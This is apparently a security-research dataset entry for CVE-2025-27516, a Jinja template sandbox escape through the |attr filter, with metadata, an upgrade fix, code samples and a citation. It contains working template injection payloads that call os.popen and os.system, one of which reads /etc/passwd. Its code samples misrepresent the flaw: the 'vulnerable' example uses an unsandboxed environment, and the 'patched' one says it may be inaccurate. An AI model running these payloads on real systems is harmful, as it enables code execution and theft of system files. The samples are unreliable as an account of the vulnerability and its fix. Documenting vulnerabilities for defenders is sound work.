CVE-2025-27516
Jinja <3.1.6: |attr filter allows template injection, enabling arbitrary Python code execution.
- CVSS 5.4
- CWE-1336
- Design Defects
- Remote
Jinja is an extensible templating engine. Prior to 3.1.6, an oversight in how the Jinja sandboxed environment interacts with the |attr filter allows an attacker that controls the content of a template to execute arbitrary Python code. To exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates. Jinja's sandbox does catch calls to str.format and ensures they don't escape the sandbox. However, it's possible to use the |attr filter to get a reference to a string's plain format method, bypassing the sandbox. After the fix, the |attr filter no longer bypasses the environment's attribute lookup. This vulnerability is fixed in 3.1.6.
- CWE
- CWE-1336
- CVSS base score
- 5.4
- Published
- 2025-03-05
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Interface
- Code defect classification
- Incorrect Functionality
- Category
- Design Defects
- Subcategory
- Vulnerable and Outdated Components
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Jinja
- Fixed by upgrading
- Yes
Solution
Upgrade to Jinja 3.1.6 or later.
Vulnerable code sample
from jinja2 import Environment, meta
# Untrusted template content
template_string = "{{ ''.__class__.__base__.__subclasses__()[177].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"touch /tmp/pwned\").read()') }}"
# Create a Jinja2 environment
env = Environment()
# Load the template
template = env.from_string(template_string)
# Render the template (this will execute the malicious code)
print(template.render())Patched code sample
# This is a simplified example and may not be a complete or accurate representation of the actual fix.
# It aims to demonstrate the general idea of restricting attribute access.
from jinja2 import Environment, BaseLoader
class SafeEnvironment(Environment):
def getattr(self, obj, attribute):
"""Override getattr to restrict access to potentially dangerous attributes."""
if attribute in ['__class__', '__mro__', '__subclasses__', '__globals__', '__code__', 'format', 'func_globals']: # added 'format'
raise AttributeError(f"Access to attribute '{attribute}' is not allowed.")
return super().getattr(obj, attribute)
def render_template(template_string, context):
"""Renders a Jinja2 template with a safe environment."""
env = SafeEnvironment(loader=BaseLoader())
template = env.from_string(template_string)
return template.render(context)
if __name__ == '__main__':
# Example Usage (attempting to exploit the vulnerability, but now prevented)
template_string = "{{ ''.__class__.__base__.__subclasses__() | attr('__getitem__')(132) | attr('__init__') | attr('__globals__') | attr('__builtins__') | attr('eval')('__import__(\'os\').system(\'echo vulnerable\')') }}" #Example exploitation
#Example usage of the 'format' to exploit the vulnerability
template_string2 = "{{ '' | attr('format') }}"
context = {}
try:
result = render_template(template_string, context)
print(f"Rendered template: {result}")
except AttributeError as e:
print(f"Caught expected AttributeError: {e}")
try:
result2 = render_template(template_string2, context)
print(f"Rendered template: {result2}")
except AttributeError as e:
print(f"Caught expected AttributeError: {e}")Payload
{{ ''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['system']('cat /etc/passwd') }}
Cite this entry
@misc{vaitp:cve202527516,
title = {{Jinja <3.1.6: |attr filter allows template injection, enabling arbitrary Python code execution.
}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-27516},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-27516/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
